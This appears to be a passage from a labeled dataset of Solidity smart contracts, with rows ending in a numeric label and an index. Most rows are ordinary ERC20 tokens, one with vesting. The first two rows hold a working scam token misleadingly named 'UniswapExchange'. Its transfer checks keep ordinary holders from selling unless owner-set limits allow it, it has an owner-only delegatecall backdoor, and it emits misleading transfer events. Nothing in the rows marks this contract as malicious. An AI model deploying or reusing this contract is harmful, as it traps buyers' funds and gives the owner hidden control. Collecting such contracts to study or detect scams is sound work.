_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 190 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,139 |
pragma solidity ^0.4.24;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract LGCY is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function LGCY(
) {
balances[msg.sender] = 500000000000000000000000000;
totalSupply = 500000000000000000000000000;
name = "Legacy";
decimals = 18;
symbol = "LGCY";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 5,088 |
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract BurnRole{
using Roles for Roles.Role;
event BurnerAdded(address indexed account);
event BurnerRemoved(address indexed account);
Roles.Role private _burners;
constructor () internal {
_addBurner(msg.sender);
}
modifier onlyBurner() {
require(isBurner(msg.sender));
_;
}
function isBurner(address account) public view returns (bool) {
return _burners.has(account);
}
function addBurner(address account) public onlyBurner {
_addBurner(account);
}
function renounceBurner() public {
_removeBurner(msg.sender);
}
function _addBurner(address account) internal {
_burners.add(account);
emit BurnerAdded(account);
}
function _removeBurner(address account) internal {
_burners.remove(account);
emit BurnerRemoved(account);
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract ERC20Mintable is ERC20, MinterRole, Pausable {
function mint(address to, uint256 value) public onlyMinter whenNotPaused returns (bool) {
_mint(to, value);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0);
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
contract ERC20Burnable is ERC20, BurnRole, Pausable {
function burn(uint256 value) public onlyBurner whenNotPaused returns (bool){
_burn(msg.sender, value);
return true;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract());
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event TokensReleased(address token, uint256 amount);
event TokenVestingRevoked(address token);
address private _beneficiary;
uint256 private _phase;
uint256 private _start;
uint256 private _duration;
bool private _revocable;
mapping (address => uint256) private _released;
mapping (address => bool) private _revoked;
constructor (address beneficiary, uint256 start, uint256 phase, uint256 duration, bool revocable) public {
require(beneficiary != address(0));
require(phase >= 1);
require(duration > 0);
require(start.add(duration) > block.timestamp);
_beneficiary = beneficiary;
_revocable = revocable;
_duration = duration;
_phase = phase;
_start = start;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function phase() public view returns (uint256) {
return _phase;
}
function start() public view returns (uint256) {
return _start;
}
function duration() public view returns (uint256) {
return _duration;
}
function revocable() public view returns (bool) {
return _revocable;
}
function released(address token) public view returns (uint256) {
return _released[token];
}
function revoked(address token) public view returns (bool) {
return _revoked[token];
}
function release(IERC20 token) public {
uint256 unreleased = _releasableAmount(token);
require(unreleased > 0);
_released[address(token)] = _released[address(token)].add(unreleased);
token.safeTransfer(_beneficiary, unreleased);
emit TokensReleased(address(token), unreleased);
}
function revoke(IERC20 token) public onlyOwner {
require(_revocable);
require(!_revoked[address(token)]);
uint256 balance = token.balanceOf(address(this));
uint256 unreleased = _releasableAmount(token);
uint256 refund = balance.sub(unreleased);
_revoked[address(token)] = true;
token.safeTransfer(owner(), refund);
emit TokenVestingRevoked(address(token));
}
function _releasableAmount(IERC20 token) private view returns (uint256) {
return _vestedAmount(token).sub(_released[address(token)]);
}
function _vestedAmount(IERC20 token) private view returns (uint256) {
uint256 currentBalance = token.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(_released[address(token)]);
if (block.timestamp < _start) {
return 0;
} else if (block.timestamp >= _start.add(_duration) || _revoked[address(token)]) {
return totalBalance;
} else {
uint256 everyPhaseDuration = _duration.div(_phase);
uint256 currentPhase = (block.timestamp - _start).div(everyPhaseDuration);
return totalBalance.div(_phase).mul(currentPhase);
}
}
}
contract MixMarvelToken is ERC20, ERC20Detailed, ERC20Pausable, ERC20Capped, ERC20Burnable {
using Address for address;
event TransferExtend(address indexed from, address indexed to, uint256 value, string name);
constructor(string memory name, string memory symbol, uint8 decimals, uint256 cap) ERC20Pausable() ERC20Burnable() ERC20Capped(cap) ERC20Detailed(name, symbol, decimals) ERC20() public {}
function mintVesting(address _to, uint256 _amount, uint256 start, uint256 phase, uint256 duration, bool revocable) public onlyMinter whenNotPaused returns (TokenVesting) {
TokenVesting vesting = new TokenVesting(_to, start, phase, duration, revocable);
mint(address(vesting), _amount);
return vesting;
}
function revokeVesting(TokenVesting vesting) public onlyMinter whenNotPaused returns(bool) {
require(address(vesting).isContract());
vesting.revoke(this);
return true;
}
function transferTo(address to, uint256 value) public onlyMinter whenNotPaused returns (bool) {
_transfer(address(this), to, value);
return true;
}
function transfer(address to, uint256 value, string memory name) public whenNotPaused returns (bool) {
_transfer(msg.sender, to, value);
emit TransferExtend(msg.sender, to, value, name);
return true;
}
function transfer(address[] memory tos, uint256 value) public whenNotPaused returns (bool) {
require(tos.length > 0);
require(tos.length <= 50);
for(uint i = 0; i < tos.length; i ++){
_transfer(msg.sender, tos[i], value);
}
return true;
}
function transfer(address[] memory tos, uint256[] memory values) public whenNotPaused returns (bool) {
require(tos.length > 0);
require(tos.length <= 50);
require(values.length == tos.length);
for(uint i = 0; i < tos.length; i ++){
_transfer(msg.sender, tos[i], values[i]);
}
return true;
}
} | 0 | 699 |
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
event Halted(bool halted);
modifier stopInEmergency {
require(!halted);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
function halt() external onlyOwner {
halted = true;
emit Halted(true);
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
emit Halted(false);
}
}
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min256(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
contract EIP20Token {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function allowance(address owner, address spender) public view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.23;
contract Burnable {
function burnTokens(address account, uint value) internal;
event Burned(address account, uint value);
}
pragma solidity ^0.4.23;
contract Mintable {
function mintInternal(address receiver, uint amount) internal;
event Minted(address receiver, uint amount);
}
contract StandardToken is EIP20Token, Burnable, Mintable {
using SafeMath for uint;
uint private total_supply;
mapping(address => uint) private balances;
mapping(address => mapping (address => uint)) private allowed;
function totalSupply() public view returns (uint) {
return total_supply;
}
function transfer(address to, uint value) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function balanceOf(address account) public view returns (uint balance) {
return balances[account];
}
function transferFrom(address from, address to, uint value) public returns (bool success) {
uint allowance = allowed[from][msg.sender];
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowance.sub(value);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint value) public returns (bool success) {
require (value == 0 || allowed[msg.sender][spender] == 0);
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function allowance(address account, address spender) public view returns (uint remaining) {
return allowed[account][spender];
}
function addApproval(address spender, uint addedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][spender];
allowed[msg.sender][spender] = oldValue.add(addedValue);
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function subApproval(address spender, uint subtractedValue) public returns (bool success) {
uint oldVal = allowed[msg.sender][spender];
if (subtractedValue > oldVal) {
allowed[msg.sender][spender] = 0;
} else {
allowed[msg.sender][spender] = oldVal.sub(subtractedValue);
}
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function burnTokens(address account, uint value) internal {
balances[account] = balances[account].sub(value);
total_supply = total_supply.sub(value);
emit Transfer(account, 0, value);
emit Burned(account, value);
}
function mintInternal(address receiver, uint amount) internal {
total_supply = total_supply.add(amount);
balances[receiver] = balances[receiver].add(amount);
emit Minted(receiver, amount);
emit Transfer(0, receiver, amount);
}
}
contract ReleasableToken is StandardToken, Ownable {
address public releaseAgent;
bool public released = false;
